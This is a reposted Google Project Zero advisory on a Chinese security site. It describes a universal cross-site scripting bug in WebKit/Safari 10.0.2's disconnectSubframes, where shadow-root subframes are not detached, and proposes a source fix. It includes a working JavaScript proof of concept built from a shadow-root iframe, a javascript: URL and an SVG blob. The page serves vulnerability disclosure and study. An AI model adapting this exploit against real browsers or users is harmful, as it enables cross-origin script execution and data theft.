首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074
 
When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).
 
Here is a snippet of |disconnectSubframes|.
 
void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
    ...
    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;
 
    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }
 
    collectFrameOwners(frameOwners, root);
 
    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);
 
    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }
}
 
The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.
 
It should be like:
 
    ...
    collectFrameOwners(frameOwners, root);
 
    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...
 
 
PoC:
-->
 
var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});
 
var f = s.appendChild(document.createElement("iframe"));
 
f.onload = () => {
    f.onload = null;
 
    f.src = "javascript:alert(location)";
 
    var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
 
</sc` + `ript>
<element a="1" a="2" />
</svg>`;
 
    var v = document.body.appendChild(document.createElement("iframe"));
    v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};
 
f.src = "https://abc.xyz/";
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1)
 
I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.
 
    collectFrameOwners(frameOwners, root);
 
    if (ShadowRoot* shadowRoot = root.shadowRoot())
        collectFrameOwners(frameOwners, *shadowRoot);
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Webkit - Universal Cross
·Apple WebKit 10.0.2(12602.3.12
·Apple Webkit - 'JSCallbackData
·Apple WebKit 10.0.2 - HTMLInpu
·Apple WebKit 10.0.2(12602.3.12
·Apple WebKit - 'RenderLayer' U
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit - Negative-Size m
·macOS Kernel 10.12.2 (16C67) -
·Apple WebKit - 'FormSubmission
·macOS Kernel 10.12.3 (16D32) -
·Apple WebKit - 'ComposedTreeIt
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved